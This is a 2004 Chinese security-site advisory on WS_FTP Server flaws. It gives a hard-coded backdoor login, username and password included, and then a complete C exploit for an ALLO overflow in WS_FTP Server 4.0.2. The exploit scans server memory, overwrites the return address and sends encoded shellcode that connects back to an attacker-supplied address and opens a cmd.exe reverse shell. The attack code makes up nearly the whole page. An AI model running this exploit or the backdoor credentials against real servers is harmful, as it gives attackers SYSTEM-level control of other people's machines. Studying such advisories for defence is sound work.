首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WS_FTP Server上以SYSTEM权限执行程序缺陷
来源:vfocus.net 作者:vitter 发布时间:2004-03-29  

WS_FTP Server上以SYSTEM权限执行程序缺陷

涉及程序:
WS_FTP Server

描述:
WS_FTP Server上以SYSTEM权限执行程序缺陷

详细:
WS_FTP Server 是一款基于Windows平台的FTP服务器软件。

WS_FTP Server存在安全问题,允许本地攻击者利用SITE命令执行选择程序或利用backdoor以管理员身份登陆执行任意代码。

在WS_FTP Server中有两个选择程序只有FTP system 管理员才能更改。当FTP system 管理员编辑用户定义SITE FTP命令时,这些用户定义SITE FTP命令只有在FTP system 管理员的选择下才能执行程序。

因为考虑到安全问题,这些选择只能被本地管理员用iftpmgr.exe程序设置。远程FTP管理员不能用这个程序去更改这些选择,但是,由于服务器在接受到SITE命令后在保存之前没有验证这些选择,攻击者可以用SITE命令去更改这些选择。

远程FTP服务器管理员包括机器上的本地用户是以任一管理身份telnet连接到服务器的,如果远程用户没有FTP system管理口令以任一用户身份在FTP服务器上运行程序,或者是如果用户是本地用户,用backdoor:.

RealName: Local Session Manager
Username: XXSESS_MGRYY
Password: X#1833 以FTP system管理员身份,IP地址为127.0.0.1 连接到IP地址为127.0.0.1的服务器,就可以利用这个漏洞执行任意代码。

受影响系统:
Ipswitch WS_FTP Server version 4.0.2 EVAL


攻击方法:
攻击代码:

/*
* Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit
* (c)2004 Hugh Mann hughmann@hotmail.com
*
* This exploit has been tested with WS_FTP Server 4.0.2.EVAL, Windows XP SP1
*
* NOTE:
* - The exploit assumes the user has a total file size limit. If the user only has
* a max number of files limit you will need to rewrite parts of this exploit for
* it to work.
*/

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* temp_file = "#t#t#t";
#define ALLO_STRING "ALLO 18446744073709551615"

/*
* Assume all addresses >= this address to be invalid addresses. If the exploit doesn't work,
* try changing it to a larger value, eg. 0x80000000 or 0xC0000000.
*/
const MAX_ADDR = 0x80000000;

/*
* Size of each thread's stack space. From iFtpSvc.exe PE header. Must be a power of 2.
* Should not be necessary to change this since practically all PE files use the default
* size (1MB).
*/
const SERV_STK_SIZE = 0x00100000;

/*
* This is the lower bits of ESP when the ALLO handler is called. This is very WS_FTP Server
* version dependent. Should be = ESP (mod SERV_STK_SIZE)
*/
const SERV_STK_OFFS = 0x0007F208;

/*
* This is the offset of the "this" pointer relative to SERV_STK_OFFS in the ALLO handler.
*/
const SERV_STK_THIS_OFFS = -(0x210+4); // EBP is saved

/*
* Offset of username relative to the "this" pointer
*/
const SERV_THIS_USERNAME_OFFS = 0x9F8;

/*
* Offset of FTP cmd buf relative to the "this" pointer
*/
const SERV_THIS_CMDBUF_OFFS = 0x1F8;

/*
* Offset of EIP relative to vulnerable buffer
*/
const SERV_BUF_EIP = 0x110;

/*
* Return addresses to JMP ESP instruction. Must contain bytes that are valid shellcode characters.
*/
#if 1
const char* ret_addr = "\xD3\xD9\xE2\x77"; // advapi32.dll (08/29/2002), WinXP SP1
#else
// mswsock.dll is not loaded by WS_FTP Server, and I haven't investigated which DLL actually loads it
// so I don't use this possibly better return address.
const char* ret_addr = "\x3D\x40\xA5\x71"; // mswsock.dll (08/23/2001), WinXP SP1 and probably WinXP too
#endif

#define MAXLINE 0x1000

static char inbuf[MAXLINE];
static unsigned inoffs = 0;
static char last_line[MAXLINE];
static int output_all = 0;
static int quite_you = 0;

void msg2(const char *format, ...)
{
va_list args;
va_start(args, format);
vfprintf(stdout, format, args);
}

void msg(const char *format, ...)
{
if (quite_you && output_all == 0)
return;

va_list args;
va_start(args, format);
vfprintf(stdout, format, args);
}

int isrd(SOCKET s)
{
fd_set r;
FD_ZERO(&r);
FD_SET(s, &r);
timeval t = {0, 0};
int ret = select(1, &r, NULL, NULL, &t);
if (ret < 0)
return 0;
else
return ret != 0;
}

void print_all(const char* buf, int len = -1)
{
if (len == -1)
len = (int)strlen(buf);

for (int i = 0; i < len; i++)
putc(buf[i], stdout);
}

int _recv(SOCKET s, char* buf, int len, int flags)
{
int ret = recv(s, buf, len, flags);
if (!output_all || ret < 0)
return ret;

print_all(buf, ret);
return ret;
}

int get_line(SOCKET s, char* string, unsigned len)
{
char* nl;
while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL)
{
if (inoffs >= sizeof(inbuf))
{
msg("[-] Too long line\n");
return 0;
}
int len = _recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
if (len <= 0)
{
msg("[-] Error receiving data\n");
return 0;
}

inoffs += len;
}

strncpy(last_line, inbuf, sizeof(last_line));
last_line[sizeof(last_line)-1] = 0;

unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
if (nlidx >= len)
{
msg("[-] Too small caller buffer\n");
return 0;
}
memcpy(string, inbuf, nlidx);
string[nlidx] = 0;
if (nlidx > 0 && string[nlidx-1] == '\r')
string[nlidx-1] = 0;

if (nlidx + 1 >= inoffs)
inoffs = 0;
else
{
memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
inoffs -= nlidx + 1;
}

return 1;
}

int ignorerd(SOCKET s)
{
inoffs = 0;

while (1)
{
if (!isrd(s))
return 1;
if (_recv(s, inbuf, sizeof(inbuf), 0) < 0)
return 0;
}
}

int get_reply_code(SOCKET s, int (*func)(void* data, char* line) = NULL, void* data = NULL)
{
char line[MAXLINE];

if (!get_line(s, line, sizeof(line)))
{
msg("[-] Could not get status code\n");
return -1;
}
if (func)
func(data, line);

char c = line[3];
line[3] = 0;
int code;
if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
{
msg("[-] Weird reply\n");
return -1;
}

char endline[4];
memcpy(endline, line, 3);
endline[3] = ' ';
if (c == '-')
{
while (1)
{
if (!get_line(s, line, sizeof(line)))
{
msg("[-] Could not get next line\n");
return -1;
}
if (func)
func(data, line);
if (!memcmp(line, endline, sizeof(endline)))
break;
}
}

return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags = 0)
{
while (len)
{
int l = send(s, buf, len, flags);
if (l <= 0)
break;
len -= l;
buf += l;
}

return len == 0;
}

int sends(SOCKET s, const char* buf, int flags = 0)
{
return sendb(s, buf, (int)strlen(buf), flags);
}

int _send_cmd(SOCKET s, const char* fmt, va_list args, int need_reply)
{
char buf[MAXLINE];
buf[sizeof(buf)-1] = 0;
if (_vsnprintf(buf, sizeof(buf), fmt, args) < 0 || buf[sizeof(buf)-1] != 0)
{
msg("[-] Buffer overflow\n");
return -1;
}

if (output_all)
print_all(buf);

if (!ignorerd(s) || !sends(s, buf))
return -1;

if (need_reply)
return get_reply_code(s);

return 0;
}

int send_cmd(SOCKET s, const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
return _send_cmd(s, fmt, args, 1);
}

int send_cmd2(SOCKET s, const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
return _send_cmd(s, fmt, args, 0);
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen)
{
if (dstoffs < 0 || dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs)
{
msg("[-] Buffer overflow ;)\n");
return 0;
}

memcpy((char*)dst+dstoffs, src, srclen);
dstoffs += srclen;
return 1;
}

int check_invd_bytes(const char* name, const void* buf, int buflen, int (*chkchar)(char c))
{
const char* b = (const char*)buf;

for (int i = 0; i < buflen; i++)
{
if (!chkchar(b[i]))
{
msg("[-] %s[%u] (%02X) is an invalid character\n", name, i, (unsigned char)b[i]);
return 0;
}
}

return 1;
}

int enc_byte(char& c, char& k, int (*chkchar)(char c))
{
for (int i = 0; i < 0x100; i++)
{
if (!chkchar(c ^ i) || !chkchar(i))
continue;

c ^= i;
k = i;
return 1;
}

msg("[-] Could not find encryption key for byte %02X\n", c);
return 0;
}

int get_enc_key(char* buf, int size, int offs, int step, int (*chkchar)(char c), int ignore1 = -1, int ignore2 = -1)
{
for (int i = 0; i < 0x100; i++)
{
if (!chkchar(i))
continue;

for (int j = offs; j < size; j += step)
{
if (ignore1 != -1 && (j >= ignore1 && j <= ignore2))
continue; // These bytes aren't encrypted
if (!chkchar(buf[j] ^ i))
break;
}
if (j < size)
continue;

return i;
}

msg("[-] Could not find an encryption key\n");
return -1;
}

int login(SOCKET s, const char* username, const char* userpass)
{
msg("[+] Logging in as %s...\n", username);
int code;
if ((code = send_cmd(s, "USER %s\r\n", username)) < 0)
{
msg("[-] Failed to log in #1\n");
return 0;
}

if (code == 331)
{
if ((code = send_cmd(s, "PASS %s\r\n", userpass)) < 0)
{
msg("[-] Failed to log in #2\n");
return 0;
}
}

if (code != 230)
{
msg("[-] Failed to log in. Code %3u\n", code);
return 0;
}

msg("[+] Logged in\n");
return 1;
}

class xuser
{
public:
xuser() : s(INVALID_SOCKET) {}
~xuser() {close();}
int init(unsigned long ip, unsigned short port, const char* username, const char* userpass);
void close() {if (s >= 0) closesocket(s); s = INVALID_SOCKET;}
SOCKET sock() const {return s;}
int exploit(unsigned long sip, unsigned short sport);
int read_serv_mem_bytes(unsigned addr, void* dst, int dstlen);
int read_serv_mem_string(unsigned addr, char* dst, int dstlen);
int read_serv_mem_uint32(unsigned addr, unsigned* dst);

protected:
int read_serv_mem(unsigned addr, void* dst, int dstlen);

SOCKET s;
char username[260];
char userpass[260];
unsigned long ip;
unsigned short port;
};

/*
* XAUT code tested with WS_FTP Server 4.0.2.EVAL
*/
#define XAUT_2_KEY 0x49327576

int xaut_encrypt(char* dst, const char* src, int len, unsigned long key)
{
unsigned char keybuf[0x80*4];

for (int i = 0; i < sizeof(keybuf)/4; i++)
{
keybuf[i*4+0] = (char)key;
keybuf[i*4+1] = (char)(key >> 8);
keybuf[i*4+2] = (char)(key >> 16);
keybuf[i*4+3] = (char)(key >> 24);
}

for (int i = 0; i < len; i++)
{
if (i >= sizeof(keybuf))
{
msg("[-] xaut_encrypt: Too long input buffer\n");
return 0;
}
*dst++ = *src++ ^ keybuf[i];
}

return 1;
}

char* xaut_unpack(char* src, int len, int delete_it)
{
char* dst = new char[len*2 + 1];

for (int i = 0; i < len; i++)
{
dst[i*2+0] = ((src[i] >> 4) & 0x0F) + 0x35;
dst[i*2+1] = (src[i] & 0x0F) + 0x31;
}
dst[i*2] = 0;

if (delete_it)
delete src;

return dst;
}

int xaut_login(SOCKET s, int d, const char* username, const char* password, unsigned long key)
{
msg("[+] Logging in [XAUT] as %s...\n", username);
int ret = 0;
char* dst = NULL;
__try
{
const char* middle = ":";
dst = new char[strlen(username) + strlen(middle) + strlen(password) + 1];
strcpy(dst, username);
strcat(dst, middle);
strcat(dst, password);
int len = (int)strlen(dst);
if ((d == 2 && !xaut_encrypt(dst, dst, len, XAUT_2_KEY)) || !xaut_encrypt(dst, dst, len, key))
__leave;

dst = xaut_unpack(dst, len, 1);
if (send_cmd(s, "XAUT %d %s\r\n", d, dst) != 230)
__leave;

ret = 1;
}
__finally
{
delete dst;
}

if (!ret)
msg("[-] Failed to log in\n");
else
msg("[+] Logged in\n");

return ret;
}

struct my_data
{
unsigned long key;
int done_that;
char hostname[256];
};

int line_callback(void* data, char* line)
{
my_data* m = (my_data*)data;
if (m->done_that)
return 1;

/*
* Looking for a line similar to:
*
* "220-FTP_HOSTNAME X2 WS_FTP Server 4.0.2.EVAL (41541732)\r\n"
*/
char* s, *e;
if (strncmp(line, "220", 3) || !strstr(line, "WS_FTP Server") ||
(s = strrchr(line, '(')) == NULL || (e = strchr(s, ')')) == NULL)
return 1;

char buf[0x10];
int len = (int)(ULONG_PTR)(e - (s+1));
if (len >= sizeof(buf) || len > 10)
return 1;
memcpy(buf, s+1, len);
buf[len] = 0;
for (int i = 0; i < len; i++)
{
if (!isdigit((unsigned char)buf[i]))
return 1;
}
m->key = atol(buf);

for (int i = 4, len = (int)strlen(line); i < len; i++)
{
if (i-4 >= sizeof(m->hostname))
return 1;
m->hostname[i-4] = line[i];
if (line[i] == ' ')
break;
}
m->hostname[i-4] = 0;
if (m->hostname[0] == 0)
return 1;

m->done_that = 1;
return 1;
}

int xuser::init(unsigned long _ip, unsigned short _port, const char* _username, const char* _userpass)
{
ip = _ip;
port = _port;
close();

strncpy(username, _username, sizeof(username));
if (username[sizeof(username)-1] != 0)
{
msg("[-] username too long\n");
return 0;
}
strncpy(userpass, _userpass, sizeof(userpass));
if (userpass[sizeof(userpass)-1] != 0)
{
msg("[-] userpass too long\n");
return 0;
}

sockaddr_in saddr;
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
saddr.sin_addr.s_addr = htonl(ip);

in_addr a; a.s_addr = htonl(ip);
msg("[+] Connecting to %s:%u...\n", inet_ntoa(a), port);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0 || connect(s, (sockaddr*)&saddr, sizeof(saddr)) < 0)
{
msg("[-] Could not connect\n");
return 0;
}
msg("[+] Connected\n");

my_data m;
memset(&m, 0, sizeof(m));
int code = get_reply_code(s, line_callback, &m);
if (code != 220)
{
msg("[-] Got reply %3u\n", code);
return 0;
}
else if (!m.done_that)
{
msg("[-] Could not find XAUT key or host name => Not a WS_FTP Server\n");
return 0;
}

if (!xaut_login(s, 0, username, userpass, m.key) && !login(s, username, userpass))
return 0;

// Don't want UTF8 conversions
if (send_cmd(s, "LANG en\r\n") != 200)
{
msg("[-] Apparently they don't understand the english language\n");
return 0;
}

if (send_cmd(s, "NOOP step into the light\r\n") != 200)
{
msg("[-] C4n't k1ll 4 z0mbie\n");
return 0;
}

return 1;
}

SOCKET get_data_sock(SOCKET s, const char* filename, const char* cmd)
{
SOCKET sd = INVALID_SOCKET;

int error = 1;
__try
{
sockaddr_in saddr;
int len = sizeof(saddr);
if (getsockname(s, (sockaddr*)&saddr, &len) < 0 || len != sizeof(saddr) ||
(sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
__leave;

sockaddr_in daddr;
memset(&daddr, 0, sizeof(daddr));
daddr.sin_family = AF_INET;
daddr.sin_port = 0;
daddr.sin_addr.s_addr = saddr.sin_addr.s_addr;
len = sizeof(daddr);
if (bind(sd, (sockaddr*)&daddr, sizeof(daddr)) < 0 || listen(sd, 1) < 0 ||
getsockname(sd, (sockaddr*)&daddr, &len) < 0 || len != sizeof(daddr))
__leave;

unsigned long ip = ntohl(daddr.sin_addr.s_addr);
unsigned short port = ntohs(daddr.sin_port);
if (send_cmd(s, "PORT %u,%u,%u,%u,%u,%u\r\n",
(unsigned char)(ip >> 24),
(unsigned char)(ip >> 16),
(unsigned char)(ip >> 8),
(unsigned char)ip,
(unsigned char)(port >> 8),
(unsigned char)port) != 200)
__leave;

if (send_cmd2(s, "%s %s\r\n", cmd, filename) < 0)
__leave;

msg("[+] Waiting for server to connect...\n");
SOCKET sa;
sockaddr_in aaddr;
len = sizeof(aaddr);
if ((sa = accept(sd, (sockaddr*)&aaddr, &len)) < 0)
__leave;
closesocket(sd);
sd = sa;

if (get_reply_code(s) != 150)
__leave;

error = 0;
}
__finally
{
if (error)
{
msg("[-] Could not create data connection, %u\n", GetLastError());
closesocket(sd);
sd = INVALID_SOCKET;
}
else
msg("[+] Server connected\n");
}

return sd;
}

int create_file(SOCKET s, const char* tmpname, unsigned size = 1)
{
int ret = 0;

SOCKET sd = INVALID_SOCKET;
__try
{
if (size > 1 && send_cmd(s, "REST %u\r\n", size) != 350)
__leave;
if ((sd = get_data_sock(s, tmpname, "STOR")) < 0)
__leave;

ret = 1;
}
__finally
{
if (sd >= 0)
closesocket(sd);
}
if (ret && get_reply_code(s) != 226)
ret = 0;

return ret;
}

const unsigned int shlc2_offs_encstart = 0x0000002B;
const unsigned int shlc2_offs_encend = 0x000001B8;
const unsigned int shlc2_offs_enckey = 0x00000025;
unsigned char shlc2_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";

int is_valid_shlc2(char c)
{
return c != 0;
}

struct tfs_data
{
tfs_data() : tot_size(0), line(0), ok(0) {}
int line;
unsigned tot_size;
int ok;
};

int tfs_line_callback(void* data, char* line)
{
tfs_data* m = (tfs_data*)data;
if (++m->line != 1)
return 1;

if (strncmp(line, "250-", 4) ||
(m->tot_size = atoi(line+4)) == 0)
return 1;

m->ok = 1;
return 1;
}

int get_user_total_file_size(SOCKET s, unsigned& tot_size)
{
int ret = 0;
SOCKET sd = INVALID_SOCKET;
__try
{
/*
* Create a $message.txt file
*/
if ((sd = get_data_sock(s, "$message.txt", "STOR")) < 0 ||
send(sd, "%z", 2, 0) != 2)
__leave;
closesocket(sd);
sd = INVALID_SOCKET;
if (get_reply_code(s) != 226)
__leave;

tfs_data m;
const DWORD max_wait = 10000;
for (DWORD tc = GetTickCount(); GetTickCount() - tc < max_wait; )
{
if (send_cmd2(s, "CWD .\r\n") < 0)
__leave;
m.ok = m.line = 0;
int code = get_reply_code(s, tfs_line_callback, &m);
if (code != 500)
break;
}

if (!m.ok)
__leave;

tot_size = m.tot_size;
ret = 1;
}
__finally
{
if (sd >= 0)
closesocket(sd);
}

if (!ret)
msg("[-] Failed to get user total file size.\n Are you sure there's a total file size limit for this user?\n");

return ret;
}

int delete_file(SOCKET s, const char* filename)
{
DWORD tc = GetTickCount();
const DWORD wait = 10000;
while (1)
{
if (GetTickCount() - tc > wait)
return 0;

if (send_cmd(s, "STAT %s\r\n", filename) != 211)
return 1;
if (send_cmd(s, "DELE %s\r\n", filename) < 0)
return 0;
}
}

int create_file_for_addr(SOCKET s, unsigned addr)
{
int ret = 0;
__try
{
if (addr >= MAX_ADDR)
{
msg2("[-] Trying to read an addr (%08X) >= MAX_ADDR (%08X)\n", addr, MAX_ADDR);
__leave;
}
if (!delete_file(s, temp_file))
msg("[-] Could not delete file\n");

unsigned tot_size;
if (!get_user_total_file_size(s, tot_size))
__leave;

if (addr < tot_size)
{
msg2("[-] You must delete some user files to read address %08X\n", addr);
__leave;
}
unsigned size = addr - tot_size;
if (!create_file(s, temp_file, size))
__leave;

ret = 1;
}
__finally
{
}

return ret;
}

/*
* Returns < 0 => error
* Returns = 0 => server thread crashed
* Returns > 0 => read this many bytes into dst
*/
int xuser::read_serv_mem(unsigned addr, void* dst, int dstlen)
{
int file_created = 0;
int ret = -1;
__try
{
if (!create_file_for_addr(s, addr))
__leave;
file_created = 1;

if (send_cmd2(s, ALLO_STRING "\r\n") < 0)
__leave;

char buf[MAXLINE];
int bufsz = 0;
const char* m1 = "452 ";
int type = 0;
while (1)
{
if (bufsz >= sizeof(buf)-1)
__leave;

int size = _recv(s, &buf[bufsz], sizeof(buf)-1-bufsz, 0);
if (size < 0)
__leave;
if (size == 0)
{
if (bufsz == 0)
ret = 0;
__leave;
}
bufsz += size;
buf[bufsz] = 0;

if (bufsz >= (int)strlen(m1) && memcmp(m1, buf, strlen(m1)))
__leave; // Wrong reply code

const char* s1 = " files\r\n";
const char* s2 = " size\r\n";
if (bufsz >= (int)strlen(s1) && !memcmp(s1, &buf[bufsz-strlen(s1)], strlen(s1)))
{
type = 0;
break;
}
if (bufsz >= (int)strlen(s2) && !memcmp(s2, &buf[bufsz-strlen(s2)], strlen(s2)))
{
type = 1;
break;
}
}

const char* s = "quota exceeded; ";
const char* f1 = " size; ";
const char* f2 = " size\r\n";
const char* f3 = " files; ";
char* b = buf + strlen(m1);
if (strncmp(b, s, strlen(s)))
__leave;
char* ss = NULL, *se = NULL;
if (type == 0) // "quota exceeded; %s size; %u files\r\n"
{
ss = b + strlen(s);
for (int i = bufsz-(int)strlen(f1); ; i--)
{
if (i < 0)
__leave;
if (strncmp(f1, &buf[i], strlen(f1)))
continue; // Not equal to " size; "
se = &buf[i];
break;
}
}
else // "quota exceeded; %u files; %s size\r\n"
{
ss = strstr(buf, f3);
if (!ss)
__leave;
ss += strlen(f3);
se = &buf[bufsz-strlen(f2)];
}
if (!se || !ss || se < ss)
{
msg("[-] Buggy code\n");
__leave;
}

*se = 0;
int rd_size = (int)(UINT_PTR)(se - ss) + 1; // One 00h byte
ret = min((int)dstlen, rd_size);
memcpy(dst, ss, ret);
}
__finally
{
}

if (ret < 0)
msg("[-] Could not read server memory\n");
else if (ret == 0)
{
// Server thread crashed
if (!init(ip, port, username, userpass))
ret = -1;
}

return ret;
}

int xuser::read_serv_mem_bytes(unsigned addr, void* dst, int dstlen)
{
for (int i = 0; i < (int)dstlen; )
{
int len = read_serv_mem(addr+i, (char*)dst+i, dstlen-i);
if (len <= 0)
return len;
i += len;
}

return dstlen;
}

int xuser::read_serv_mem_string(unsigned addr, char* dst, int dstlen)
{
int len = read_serv_mem(addr, dst, dstlen);
if (len <= 0)
return len;
if (dst[len-1] != 0)
return -1;
return len;
}

int xuser::read_serv_mem_uint32(unsigned addr, unsigned* dst)
{
unsigned char tmp[4];
int ret = read_serv_mem_bytes(addr, tmp, sizeof(tmp));
if (ret <= 0)
return ret;
if (ret != sizeof(tmp))
return -1;

*dst = (tmp[3] << 24) | (tmp[2] << 16) | (tmp[1] << 8) | tmp[0];
return ret;
}

int xuser::exploit(unsigned long sip, unsigned short sport)
{
int ret = 0;
char* shellcode = NULL;
char* badbuf = NULL;
__try
{
/*
* Encrypt the shellcode
*/
const shellcode_len = sizeof(shlc2_code)-1;
shellcode = new char[shellcode_len+1];
memcpy(shellcode, shlc2_code, shellcode_len);
shellcode[shellcode_len] = 0;

shellcode[2] = (char)2;
shellcode[3] = (char)(2 >> 8);
shellcode[4] = (char)(sport >> 8);
shellcode[5] = (char)sport;
shellcode[6] = (char)(sip >> 24);
shellcode[7] = (char)(sip >> 16);
shellcode[8] = (char)(sip >> 8);
shellcode[9] = (char)sip;
for (int i = 0; i < 8; i++)
{
if (!enc_byte(shellcode[2+i], shellcode[2+8+i], is_valid_shlc2))
__leave;
}

for (int i = 0; i < 4; i++)
{
int k = get_enc_key(&shellcode[shlc2_offs_encstart], shlc2_offs_encend-shlc2_offs_encstart, i, 4, is_valid_shlc2);
if (k < 0)
__leave;
shellcode[shlc2_offs_enckey+i] = k;
}
msg("[+] Shellcode encryption key = %02X%02X%02X%02X\n",
(unsigned char)shellcode[shlc2_offs_enckey+3],
(unsigned char)shellcode[shlc2_offs_enckey+2],
(unsigned char)shellcode[shlc2_offs_enckey+1],
(unsigned char)shellcode[shlc2_offs_enckey]);
for (int i = 0; i < shlc2_offs_encend-shlc2_offs_encstart; i++)
shellcode[shlc2_offs_encstart+i] ^= shellcode[shlc2_offs_enckey + i % 4];

/*
* Do some sanity checks
*/
if (!check_invd_bytes("shellcode", shellcode, shellcode_len, is_valid_shlc2) ||
!check_invd_bytes("ret_addr", ret_addr, 4, is_valid_shlc2))
__leave;

if (!delete_file(s, temp_file))
{
msg("Could not delete file\n");
__leave;
}

unsigned tot_size;
if (!get_user_total_file_size(s, tot_size))
__leave;

msg("[+] Scanning server memory: ");
quite_you = 1;
const unsigned ADDR_START = SERV_STK_SIZE;
const unsigned ADDR_END = MAX_ADDR-1;
unsigned this_ptr;
for (unsigned addr = ADDR_START; ; addr += SERV_STK_SIZE)
{
if (addr > ADDR_END || !addr)
{
/*
* Can happen if the address of the thread's stack is not in the same position in
* memory. This most likely happens when another user logged in or it sent a FTP
* command which creates a new server thread. Try again.
*/
msg2("[-] Could not find the this ptr. Try again.\n");
__leave;
}
int rc = read_serv_mem_uint32(addr + SERV_STK_OFFS + SERV_STK_THIS_OFFS, &this_ptr);
if (rc < 0)
{
msg2("- unknown error\n"); // Error
__leave;
}
else if (rc == 0)
{
msg2("x"); // Crashed
}
else
{
msg2("."); // Bingo

char tmp[0x200];
if (this_ptr + SERV_THIS_USERNAME_OFFS < MAX_ADDR && this_ptr + SERV_THIS_CMDBUF_OFFS < MAX_ADDR &&
read_serv_mem_string(this_ptr + SERV_THIS_USERNAME_OFFS, tmp, sizeof(tmp)) > 0 &&
!strcmp(tmp, username) &&
read_serv_mem_string(this_ptr + SERV_THIS_CMDBUF_OFFS, tmp, sizeof(tmp)) > 0 &&
!strcmp(tmp, ALLO_STRING))
break;
}
}
quite_you = 0;
msg("\n[+] this = %08X\n", this_ptr);

const char* s1 = "quota exceeded; ";
char padding[SERV_BUF_EIP];
int padding_len = sizeof(padding) - (int)strlen(s1);
memset(padding, 'A', sizeof(padding));

int xpsz = (int)strlen(ALLO_STRING "\r\n") + padding_len + 4 + shellcode_len;
badbuf = new char[xpsz+1];
badbuf[xpsz] = 0;
int tmpidx = 0;
if (!add_bytes(badbuf, tmpidx, xpsz, ALLO_STRING "\r\n", (int)strlen(ALLO_STRING "\r\n")) ||
!add_bytes(badbuf, tmpidx, xpsz, padding, padding_len) ||
!add_bytes(badbuf, tmpidx, xpsz, ret_addr, 4) ||
!add_bytes(badbuf, tmpidx, xpsz, shellcode, shellcode_len) ||
tmpidx != xpsz)
{
msg("[-] This is a bug. Now you know\n");
__leave;
}

if (!create_file_for_addr(s, this_ptr + SERV_THIS_CMDBUF_OFFS + strlen(ALLO_STRING "\r\n")))
__leave;
if (send_cmd2(s, badbuf) < 0)
__leave;

ret = 1;
}
__finally
{
quite_you = 0;
if (shellcode)
delete shellcode;
if (badbuf)
delete badbuf;
}

return ret;
}

void show_help(char* pname)
{
msg("%s <ip> <port> <sip> <sport> [-u username] [-p userpass] [-a]\n", pname);
exit(1);
}

int main(int argc, char** argv)
{
msg("Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit\n");
msg("(c)2004 Hugh Mann hughmann@hotmail.com\n");

WSADATA wsa;
if (WSAStartup(0x0202, &wsa))
return 1;

if (argc < 5)
show_help(argv[0]);

unsigned long ip = ntohl(inet_addr(argv[1]));
unsigned short port = (unsigned short)atoi(argv[2]);
unsigned long sip = ntohl(inet_addr(argv[3]));
unsigned short sport = (unsigned short)atoi(argv[4]);
const char* username = "anonymous";
const char* userpass = "Hugh Mann";

for (int i = 5; i < argc; i++)
{
if (!strcmp(argv[i], "-u") && i + 1 < argc)
{
username = argv[++i];
}
else if (!strcmp(argv[i], "-p") && i + 1 < argc)
{
userpass = argv[++i];
}
else if (!strcmp(argv[i], "-a"))
{
output_all = 1;
}
else
show_help(argv[0]);
}

if (!ip || !port || !sip || !sport)
show_help(argv[0]);

xuser user;
if (!user.init(ip, port, username, userpass))
return 0;

if (!user.exploit(sip, sport))
msg("[-] u n33d t0 s7uddy m0r3...\n");
else
msg("[+] Wait a few secs for a shell\n");

return 0;
}

解决方案:
厂商目前还没有提供安全补丁,建议随时关注厂商主页下载更新版本:

http://www.ipswitch.com/products/WS_FTP-Server/index.html


附加信息:




 
